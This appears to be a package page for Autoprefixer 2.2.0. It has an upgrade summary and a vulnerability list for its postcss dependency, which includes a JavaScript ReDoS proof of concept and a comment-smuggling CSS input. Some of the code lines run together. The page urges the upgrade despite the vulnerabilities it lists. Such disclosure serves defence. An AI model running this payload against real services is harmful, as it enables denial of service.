Autoprefixer version 2.2.0 introduces several key updates compared to its predecessor, version 2.1.1, making it a worthwhile upgrade for developers seeking the most up-to-date CSS prefixing capabilities. The core functionality remains the same: parsing CSS and adding vendor prefixes based on data from Can I Use, ensuring cross-browser compatibility without manual prefix management.
The most significant change lies in the updated dependencies. Version 2.2.0 utilizes postcss version ~2.1.0, a jump from ~1.0.0 in version 2.1.1. This upgrade likely brings performance improvements, bug fixes, and potentially new features within the PostCSS ecosystem that Autoprefixer leverages. Furthermore, the caniuse-db dependency is updated to ^1.0.20140727, reflecting more recent browser compatibility data compared to ^1.0.20140710 used in the older version. This ensures Autoprefixer is aware of the latest browser support for CSS features, generating prefixes only when truly necessary.
Beyond core dependencies, changes exist in development dependencies as well, with upgrades to mocha and stylus, and browserify. While these primarily impact the development environment for Autoprefixer itself, they indirectly contribute to stability and potentially faster build times. The release date of version 2.2.0, July 29, 2014, compared to July 15, 2014, for version 2.1.1 demonstrates an active maintenance schedule, further suggesting a more reliable and feature-rich experience with the newer version. Developers should upgrade to benefit from the improved browser support data and potential performance enhancements offered by the updated postcss dependency.
All the vulnerabilities related to the version 2.2.0 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.